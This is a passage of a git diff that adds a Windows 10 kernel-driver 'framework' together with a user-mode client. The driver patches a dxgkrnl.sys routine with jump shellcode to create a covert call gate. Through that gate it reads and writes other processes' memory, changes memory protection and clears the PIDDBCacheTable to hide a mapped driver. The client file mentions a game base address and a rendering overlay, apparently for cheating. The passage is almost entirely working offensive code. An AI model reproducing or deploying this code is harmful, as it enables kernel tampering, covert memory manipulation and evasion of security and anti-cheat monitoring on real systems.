Reserved2[1]; + PVOID Reserved3[2]; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID Reserved4[3]; + PVOID AtlThunkSListPtr; + PVOID Reserved5; + ULONG Reserved6; + PVOID Reserved7; + ULONG Reserved8; + ULONG AtlThunkSListPtr32; + PVOID Reserved9[45]; + BYTE Reserved10[96]; + PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; + BYTE Reserved11[128]; + PVOID Reserved12[1]; + ULONG SessionId; +} PEB, * PPEB; + + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; // in bytes + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; // LDR_* + USHORT LoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + PVOID SectionPointer; + ULONG CheckSum; + ULONG TimeDateStamp; + // PVOID LoadedImports; + // // seems they are exist only on XP !!! PVOID + // EntryPointActivationContext; // -same- +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + + + +extern "C" __declspec(dllimport) +NTSTATUS NTAPI ZwProtectVirtualMemory( + HANDLE ProcessHandle, + PVOID* BaseAddress, + PULONG ProtectSize, + ULONG NewProtect, + PULONG OldProtect +); + +extern "C" NTKERNELAPI +PVOID +NTAPI +RtlFindExportedRoutineByName( + _In_ PVOID ImageBase, + _In_ PCCH RoutineNam +); + +extern "C" NTSTATUS ZwQuerySystemInformation(ULONG InfoClass, PVOID Buffer, ULONG Length, PULONG ReturnLength); + +extern "C" NTKERNELAPI +PPEB +PsGetProcessPeb( + IN PEPROCESS Process +); + +extern "C" NTSYSAPI +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader(PVOID Base); + + +extern "C" NTSTATUS NTAPI MmCopyVirtualMemory +( + PEPROCESS SourceProcess, + PVOID SourceAddress, + PEPROCESS TargetProcess, + PVOID TargetAddress, + SIZE_T BufferSize, + KPROCESSOR_MODE PreviousMode, + PSIZE_T ReturnSize +); + +typedef struct _COPY_MEMORY { + void* bufferAddress; // Buffer address + UINT_PTR address; // Target address + ULONGLONG size; // Buffer size + ULONG pid; // Target process id + BOOLEAN write; // TRUE if write operation, FALSE if read + BOOLEAN ReqBase; // TRUE if request base address, FALSE if not. + ULONG64 BaseAddress; // Base address of the game + void* Output; + BOOLEAN ClearPIDCache; + BOOLEAN PIDCacheCleared; + BOOLEAN Read; + BOOLEAN ReadString; + BOOLEAN WriteString; + const char* moduleName; + ULONG pid_ofSource; + + //UINT_PTR process_id; already here + //PVOID address; already here + //SIZE_T size; already here + + BOOLEAN change_protection; + ULONG protection; + ULONG protection_old; +}COPY_MEMORY; diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/kernelmode.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/kernelmode.vcxproj" new file mode 100644 index 0000000..7ca5696 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/kernelmode.vcxproj" @@ -0,0 +1,188 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + Debug + ARM + + + Release + ARM + + + Debug + ARM64 + + + Release + ARM64 + + + + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C} + {1bc93793-694f-48fe-9372-81e2b05556fd} + v4.5 + 12.0 + Debug + Win32 + driverHooks + 10.0.17763.0 + + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + false + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + false + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + false + Speed + false + true + true + All + CompileAsCpp + false + + + false + + + false + true + DriverEntry + true + true + false + + + + + TurnOffAllWarnings + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/kernelmode.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/kernelmode.vcxproj.filters" new file mode 100644 index 0000000..50f8b5b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/kernelmode.vcxproj.filters" @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/kernelmode.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/kernelmode.vcxproj.user" new file mode 100644 index 0000000..b439b29 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/kernelmode.vcxproj.user" @@ -0,0 +1,9 @@ + + + + DbgengKernelDebugger + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/main.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/main.cpp" new file mode 100644 index 0000000..66faf91 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/main.cpp" @@ -0,0 +1,115 @@ +#include "memory.h" +#include "cleaner.h" +#include "imports.h" + +NTSTATUS hook_handler(PVOID called_param) +{ + COPY_MEMORY* m = (COPY_MEMORY*)called_param; + + if ( m->change_protection ) + { + memory::protect_virtual_memory( m->pid, (PVOID)m->address, m->size, m->protection, m->protection_old ); + } + + if (m->ReqBase != FALSE) { + ANSI_STRING AS; + UNICODE_STRING ModuleNAme; + + RtlInitAnsiString(&AS, m->moduleName); + RtlAnsiStringToUnicodeString(&ModuleNAme, &AS, TRUE); + + + PEPROCESS process; + PsLookupProcessByProcessId((HANDLE)m->pid, &process); + ULONG64 Base_Address64 = NULL; + Base_Address64 = memory::get_module_base_x64(process, ModuleNAme); + m->BaseAddress = Base_Address64; + RtlFreeUnicodeString(&ModuleNAme); + } + + if (m->write != FALSE) { + PVOID kernelBuff = ExAllocatePool(NonPagedPool, m->size); + + if (!kernelBuff) + return STATUS_UNSUCCESSFUL; + + + if (!memcpy(kernelBuff, m->bufferAddress, m->size)) + return STATUS_UNSUCCESSFUL; + + PEPROCESS Process; + PsLookupProcessByProcessId((HANDLE)m->pid, &Process); + memory::write_kernel_memory((HANDLE)m->pid, m->address, kernelBuff, m->size); + ExFreePool(kernelBuff); + } + + if(m->Read != FALSE) + { + void* ReadOutput = NULL; + memory::read_kernel_memory((HANDLE)m->pid, m->address, &ReadOutput, m->size); + m->Output = ReadOutput; + } + + if (m->ClearPIDCache != FALSE) { + + if (cleaner::clean_piddbcachetalbe() != FALSE) { + m->PIDCacheCleared = TRUE; + } + else + { + m->PIDCacheCleared = FALSE; + } + } + + if (m->ReadString != FALSE) { + PVOID kernelBuffer = ExAllocatePool(NonPagedPool, m->size); + + if (!kernelBuffer) + return STATUS_UNSUCCESSFUL; + + + if (!memcpy(kernelBuffer, m->bufferAddress, m->size)) + return STATUS_UNSUCCESSFUL; + + memory::read_kernel_memory((HANDLE)m->pid, m->address, kernelBuffer, m->size); + + RtlZeroMemory(m->bufferAddress, m->size); + + if (!memcpy(m->bufferAddress, kernelBuffer, m->size)) + return STATUS_UNSUCCESSFUL; + + ExFreePool(kernelBuffer); + } + + if (m->WriteString != FALSE) { + PVOID kernelBuffer1 = ExAllocatePool(NonPagedPool, m->size); + + if (!kernelBuffer1) + return STATUS_UNSUCCESSFUL; + + + if (!memcpy(kernelBuffer1, m->bufferAddress, m->size)) + return STATUS_UNSUCCESSFUL; + + PEPROCESS Process; + PsLookupProcessByProcessId((HANDLE)m->pid, &Process); + memory::write_kernel_memory((HANDLE)m->pid, m->address, kernelBuffer1, m->size); + + ExFreePool(kernelBuffer1); + } + + return STATUS_SUCCESS; +} + +extern "C" NTSTATUS DriverEntry( + PDRIVER_OBJECT driver_object, + PUNICODE_STRING registry_path) +{ + // These are invalid for mapped drivers. + UNREFERENCED_PARAMETER(driver_object); + UNREFERENCED_PARAMETER(registry_path); + + memory::call_kernel_function(&hook_handler); + + return STATUS_SUCCESS; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/memory.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/memory.h" new file mode 100644 index 0000000..cd27412 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/kernelmode/memory.h" @@ -0,0 +1,258 @@ +#pragma once +#include "imports.h" + +namespace memory { + PVOID get_system_module_base(const char* module_name) { + + ULONG bytes = 0; + NTSTATUS status = ZwQuerySystemInformation(SystemModuleInformation, 0, bytes, &bytes); + + if (!bytes) + return 0; + + + PRTL_PROCESS_MODULES modules = (PRTL_PROCESS_MODULES)ExAllocatePoolWithTag(NonPagedPool, bytes, 0x454E4F45); // 'ENON' + + status = ZwQuerySystemInformation(SystemModuleInformation, modules, bytes, &bytes); + + if (!NT_SUCCESS(status)) + return 0; + + + PRTL_PROCESS_MODULE_INFORMATION module = modules->Modules; + PVOID module_base = 0, module_size = 0; + + for (ULONG i = 0; i < modules->NumberOfModules; i++) + { + + if (strcmp((char*)module[i].FullPathName, module_name) == 0) + { + module_base = module[i].ImageBase; + module_size = (PVOID)module[i].ImageSize; + break; + } + } + + if (modules) + ExFreePoolWithTag(modules, 0); + + if (module_base <= 0) + return 0; + + return module_base; + } + + PVOID get_system_module_export(const char* module_name, LPCSTR routine_name) + { + PVOID lpModule = memory::get_system_module_base(module_name); + + if (!lpModule) + return NULL; + + return RtlFindExportedRoutineByName(lpModule, routine_name); + } + + bool read_memory(void* address, void* buffer, size_t size) { + if (!RtlCopyMemory(buffer, address, size)) { + return false; + } + else + { + return true; + } + } + + bool write_memory(void* address, void* buffer, size_t size) { + if (!RtlCopyMemory(address, buffer, size)) { + return false; + } + else + { + return true; + } + } + + bool write_to_read_only_memory(void* address, void* buffer, size_t size) { + + PMDL Mdl = IoAllocateMdl(address, size, FALSE, FALSE, NULL); + + if (!Mdl) + return false; + + // Locking and mapping memory with RW-rights: + MmProbeAndLockPages(Mdl, KernelMode, IoReadAccess); + PVOID Mapping = MmMapLockedPagesSpecifyCache(Mdl, KernelMode, MmNonCached, NULL, FALSE, NormalPagePriority); + MmProtectMdlSystemAddress(Mdl, PAGE_READWRITE); + + // Write your buffer to mapping: + write_memory(Mapping, buffer, size); + + // Resources freeing: + MmUnmapLockedPages(Mapping, Mdl); + MmUnlockPages(Mdl); + IoFreeMdl(Mdl); + + return true; + } + + bool call_kernel_function(void* kernel_function_address) { + if (!kernel_function_address) + return false; + + PVOID* dxgk_routine + = reinterpret_cast(memory::get_system_module_export("\\SystemRoot\\System32\\drivers\\dxgkrnl.sys", "NtOpenCompositionSurfaceSectionInfo")); + + if (!dxgk_routine) { + return false; + } + + /* + just overwrite the first 15 bytes of any function in dxgkrnl.sys ez + */ + + BYTE dxgk_original[] = { 0x4C, 0x8B, 0xDC, 0x49, 0x89, 0x5B, 0x18, 0x4D, 0x89, 0x4B, 0x20, 0x49, 0x89, 0x4B, 0x08 }; + + BYTE shell_code_start[] + { + 0x48, 0xB8 // mov rax, [xxx] + }; + + BYTE shell_code_end[] + { + 0xFF, 0xE0, // jmp rax + 0xCC // + }; + + RtlSecureZeroMemory(&dxgk_original, sizeof(dxgk_original)); + memcpy((PVOID)((ULONG_PTR)dxgk_original), &shell_code_start, sizeof(shell_code_start)); + uintptr_t test_address = reinterpret_cast(kernel_function_address); + memcpy((PVOID)((ULONG_PTR)dxgk_original + sizeof(shell_code_start)), &test_address, sizeof(void*)); + memcpy((PVOID)((ULONG_PTR)dxgk_original + sizeof(shell_code_start) + sizeof(void*)), &shell_code_end, sizeof(shell_code_end)); + + + write_to_read_only_memory(dxgk_routine, &dxgk_original, sizeof(dxgk_original)); + + return true; + } + + bool write_kernel_memory(HANDLE pid, uintptr_t address, void* buffer, SIZE_T size) { + if (!address || !buffer || !size) + return false; + + NTSTATUS Status = STATUS_SUCCESS; + PEPROCESS process; + PsLookupProcessByProcessId(pid, &process); + + KAPC_STATE state; + KeStackAttachProcess((PKPROCESS)process, &state); + + MEMORY_BASIC_INFORMATION info; + + Status = ZwQueryVirtualMemory(ZwCurrentProcess(), (PVOID)address, MemoryBasicInformation, &info, sizeof(info), NULL); + if (!NT_SUCCESS(Status)) { + KeUnstackDetachProcess(&state); + return false; + } + + if (((uintptr_t)info.BaseAddress + info.RegionSize) < (address + size)) + { + KeUnstackDetachProcess(&state); + return false; + } + + if (!(info.State & MEM_COMMIT) || (info.Protect & (PAGE_GUARD | PAGE_NOACCESS))) + { + KeUnstackDetachProcess(&state); + return false; + } + + if ((info.Protect & PAGE_EXECUTE_READWRITE) || (info.Protect & PAGE_EXECUTE_WRITECOPY) || (info.Protect & PAGE_READWRITE) || (info.Protect & PAGE_WRITECOPY)) + { + RtlCopyMemory((void*)address, buffer, size); + } + KeUnstackDetachProcess(&state); + return true; + } + + NTSTATUS protect_virtual_memory(ULONG64 pid, PVOID address, ULONG size, ULONG protection, ULONG& protection_out) + { + if (!pid || !address || !size || !protection) + return STATUS_INVALID_PARAMETER; + + NTSTATUS status = STATUS_SUCCESS; + PEPROCESS target_process = nullptr; + + if (!NT_SUCCESS(PsLookupProcessByProcessId(reinterpret_cast(pid), &target_process))) + { + return STATUS_NOT_FOUND; + } + + //PVOID address = reinterpret_cast( memory_struct->address ); + //ULONG size = (ULONG)( memory_struct->size ); + //ULONG protection = memory_struct->protection; + ULONG protection_old = 0; + + KAPC_STATE state; + KeStackAttachProcess(target_process, &state); + + status = ZwProtectVirtualMemory(NtCurrentProcess(), &address, &size, protection, &protection_old); + + KeUnstackDetachProcess(&state); + + if (NT_SUCCESS(status)) + protection_out = protection_old; + + ObDereferenceObject(target_process); + return status; + } + + bool read_kernel_memory(HANDLE pid, uintptr_t address, void* buffer, SIZE_T size) { + if (!address || !buffer || !size) + return false; + SIZE_T bytes = 0; + NTSTATUS status = STATUS_SUCCESS; + PEPROCESS process; + PsLookupProcessByProcessId((HANDLE)pid, &process); + + status = MmCopyVirtualMemory(process, (void*)address, (PEPROCESS)PsGetCurrentProcess(), buffer, size, KernelMode, &bytes); + if (!NT_SUCCESS(status)) + return false; + else + return true; + } + + ULONG64 get_module_base_x64(PEPROCESS proc, UNICODE_STRING module_name) { + PPEB pPeb = PsGetProcessPeb(proc); + + if (!pPeb) { + return 0; // failed + } + + KAPC_STATE state; + + KeStackAttachProcess(proc, &state); + + PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr; + + if (!pLdr) { + KeUnstackDetachProcess(&state); + return 0; // failed + } + + // loop the linked list + for (PLIST_ENTRY list = (PLIST_ENTRY)pLdr->ModuleListLoadOrder.Flink; + list != &pLdr->ModuleListLoadOrder; list = (PLIST_ENTRY)list->Flink) { + PLDR_DATA_TABLE_ENTRY pEntry = + CONTAINING_RECORD(list, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList); + if (RtlCompareUnicodeString(&pEntry->BaseDllName, &module_name, TRUE) == + 0) { + ULONG64 baseAddr = (ULONG64)pEntry->DllBase; + KeUnstackDetachProcess(&state); + return baseAddr; + } + } + KeUnstackDetachProcess(&state); + + return 0; + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/solution.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/solution.sln" new file mode 100644 index 0000000..4022df9 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/solution.sln" @@ -0,0 +1,51 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29215.179 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kernelmode", "kernelmode\kernelmode.vcxproj", "{DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "usermode", "usermode\usermode.vcxproj", "{125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|ARM64 = Debug|ARM64 + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|ARM = Release|ARM + Release|ARM64 = Release|ARM64 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Debug|ARM.ActiveCfg = Debug|ARM + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Debug|ARM64.ActiveCfg = Debug|ARM64 + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Debug|x64.ActiveCfg = Debug|x64 + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Debug|x86.ActiveCfg = Debug|Win32 + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Release|ARM.ActiveCfg = Release|ARM + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Release|ARM64.ActiveCfg = Release|ARM64 + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Release|x64.ActiveCfg = Release|x64 + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Release|x64.Build.0 = Release|x64 + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Release|x64.Deploy.0 = Release|x64 + {DF8C5E3F-267D-41C5-AD98-914C4EB8BE3C}.Release|x86.ActiveCfg = Release|Win32 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Debug|ARM.ActiveCfg = Debug|Win32 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Debug|ARM64.ActiveCfg = Debug|Win32 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Debug|x64.ActiveCfg = Debug|x64 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Debug|x64.Build.0 = Debug|x64 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Debug|x86.ActiveCfg = Debug|Win32 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Debug|x86.Build.0 = Debug|Win32 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Release|ARM.ActiveCfg = Release|Win32 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Release|ARM64.ActiveCfg = Release|Win32 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Release|x64.ActiveCfg = Release|x64 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Release|x64.Build.0 = Release|x64 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Release|x86.ActiveCfg = Release|Win32 + {125ACA56-371C-4C69-A88C-EBAEFA8F7EEB}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {C12E48FE-C67E-4FB3-9CE1-D1FC1ABABF94} + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/driver.h" new file mode 100644 index 0000000..9095d5a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/driver.h" @@ -0,0 +1,202 @@ +#pragma once +#include "imports.h" + +typedef struct _COPY_MEMORY +{ + void* bufferAddress; // Buffer address + UINT_PTR address; // Target address + ULONGLONG size; // Buffer size + ULONG pid; // Target process id + BOOLEAN write; // TRUE if write operation, FALSE if read + BOOLEAN ReqBase; // TRUE if request base address, FALSE if not. + ULONG64 BaseAddress; // Base address of the game + void* Output; + BOOLEAN ClearPIDCache; + BOOLEAN PIDCacheCleared; + BOOLEAN Read; + BOOLEAN ReadString; + BOOLEAN WriteString; + const char* moduleName; + ULONG pid_ofSource; + + //UINT_PTR process_id; already here + //PVOID address; already here + //SIZE_T size; already here + + BOOLEAN change_protection; + ULONG protection; + ULONG protection_old; +}COPY_MEMORY; + +static std::uint32_t process_id = 0; + +struct HandleDisposer +{ + using pointer = HANDLE; + void operator()(HANDLE handle) const + { + if (handle != NULL || handle != INVALID_HANDLE_VALUE) + { + CloseHandle(handle); + } + } +}; + +using unique_handle = std::unique_ptr; + +static std::uint32_t get_process_id(std::string_view process_name) { + PROCESSENTRY32 processentry; + const unique_handle snapshot_handle(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)); + + if (snapshot_handle.get() == INVALID_HANDLE_VALUE) + return 0; + + processentry.dwSize = sizeof(MODULEENTRY32); + + while (Process32Next(snapshot_handle.get(), &processentry) == TRUE) { + if (process_name.compare(processentry.szExeFile) == 0) + return processentry.th32ProcessID; + } + return 0; +} + +template +uint64_t call_hook(const A ... arguments) +{ + void* control_function = GetProcAddress(LoadLibrary("win32u.dll"), "NtOpenCompositionSurfaceSectionInfo"); + + const auto control = static_cast(control_function); + + return control(arguments ...); +} + +static ULONG64 change_protection(uint64_t pid, uint64_t address, uint32_t page_protection, std::size_t size) +{ + COPY_MEMORY m = { 0 }; + m.pid = process_id; + m.address = address; + m.protection = page_protection; + m.size = size; + m.change_protection = TRUE; + + m.ReqBase = FALSE; + m.ClearPIDCache = FALSE; + m.Read = FALSE; + m.ReadString = FALSE; + m.write = FALSE; + m.WriteString = FALSE; + + return call_hook(&m); +} + +static ULONG64 get_module_base_address(const char* moduleName) { + + COPY_MEMORY m = { 0 }; + m.pid = process_id; + m.ReqBase = TRUE; + m.ClearPIDCache = FALSE; + m.Read = FALSE; + m.ReadString = FALSE; + m.write = FALSE; + m.WriteString = FALSE; + m.moduleName = moduleName; + call_hook(&m); + + ULONG64 base = NULL; + base = m.BaseAddress; + return base; +} + +template +T Read(UINT_PTR ReadAddress) { + + T response{}; + + COPY_MEMORY m; + m.pid = process_id; + m.size = sizeof(T); + m.address = ReadAddress; + m.Read = TRUE; + m.ReadString = FALSE; + m.WriteString = FALSE; + m.write = FALSE; + m.ReqBase = FALSE; + m.ClearPIDCache = FALSE; + + call_hook(&m); + + return *(T*)& m.Output; +} + +static bool WriteVirtualMemoryRaw(UINT_PTR WriteAddress, UINT_PTR SourceAddress, SIZE_T WriteSize); + +template +bool Write(UINT_PTR WriteAddress, const S& value) +{ + return WriteVirtualMemoryRaw(WriteAddress, (UINT_PTR)& value, sizeof(S)); +} +bool WriteVirtualMemoryRaw(UINT_PTR WriteAddress, UINT_PTR SourceAddress, SIZE_T WriteSize) +{ + COPY_MEMORY m; + m.address = WriteAddress; + m.pid = process_id; + m.pid_ofSource = GetCurrentProcessId(); + m.write = TRUE; + m.ClearPIDCache = FALSE; + m.Read = FALSE; + m.ReadString = FALSE; + m.ReqBase = FALSE; + m.WriteString = FALSE; + m.bufferAddress = (void*)SourceAddress; + m.size = WriteSize; + + call_hook(&m); + + return true; +} + +static BOOLEAN CleanPIDDBCacheTable() { + + COPY_MEMORY m; + m.ClearPIDCache = TRUE; + m.Read = FALSE; + m.WriteString = FALSE; + m.write = FALSE; + m.ReqBase = FALSE; + m.ReadString = FALSE; + call_hook(&m); + + return m.PIDCacheCleared; +} + +static void ReadString(UINT_PTR String_address, void* buffer, SIZE_T size) { + COPY_MEMORY m; + m.pid = process_id; + m.ReadString = TRUE; + m.Read = FALSE; + m.ClearPIDCache = FALSE; + m.ReqBase = FALSE; + m.write = FALSE; + m.WriteString = FALSE; + m.address = String_address; + m.bufferAddress = buffer; + m.size = size; + + call_hook(&m); +} + +static void WriteString(UINT_PTR String_address, void* buffer, SIZE_T size) { + COPY_MEMORY m; + m.pid = process_id; + m.WriteString = TRUE; + m.ClearPIDCache = FALSE; + m.Read = FALSE; + m.ReadString = FALSE; + m.ReqBase = FALSE; + m.write = FALSE; + m.address = String_address; + m.bufferAddress = buffer; + m.size = size; + + call_hook(&m); +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/imports.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/imports.h" new file mode 100644 index 0000000..31b7437 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/imports.h" @@ -0,0 +1,21 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include "Vectors.h" +#include "offsets.h" +#include +#include +#include +#include +#include +#include +#include "driver.h" + +#include "nuklear/nuklear_d3d11.h" +#include "xor.h" +#include "sdk.h" \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/main.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/main.cpp" new file mode 100644 index 0000000..4c4d155 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/main.cpp" @@ -0,0 +1,579 @@ +#include "imports.h" + +static void +set_swap_chain_size(int width, int height) +{ + ID3D11Texture2D* back_buffer; + D3D11_RENDER_TARGET_VIEW_DESC desc; + HRESULT hr; + + if (globals::rt_view) + globals::rt_view->Release(); + + globals::context->OMSetRenderTargets(0, NULL, NULL); + + hr = globals::swap_chain->ResizeBuffers(0, width, height, DXGI_FORMAT_UNKNOWN, 0); + if (hr == DXGI_ERROR_DEVICE_REMOVED || hr == DXGI_ERROR_DEVICE_RESET || hr == DXGI_ERROR_DRIVER_INTERNAL_ERROR) + { + /* to recover from this, you'll need to recreate device and all the resources */ + MessageBoxW(NULL, L"DXGI device is removed or reset!", L"Error", 0); + exit(0); + } + assert(SUCCEEDED(hr)); + + memset(&desc, 0, sizeof(desc)); + desc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; + desc.ViewDimension = D3D11_RTV_DIMENSION_TEXTURE2D; + + hr = globals::swap_chain->GetBuffer(0, IID_ID3D11Texture2D, (void**)& back_buffer); + assert(SUCCEEDED(hr)); + + hr = globals::device->CreateRenderTargetView((ID3D11Resource*)back_buffer, &desc, &globals::rt_view); + assert(SUCCEEDED(hr)); + + back_buffer->Release(); +} + +static LRESULT CALLBACK +WindowProc(HWND wnd, UINT msg, WPARAM wparam, LPARAM lparam) +{ + switch (msg) + { + case WM_DESTROY: + PostQuitMessage(0); + return 0; 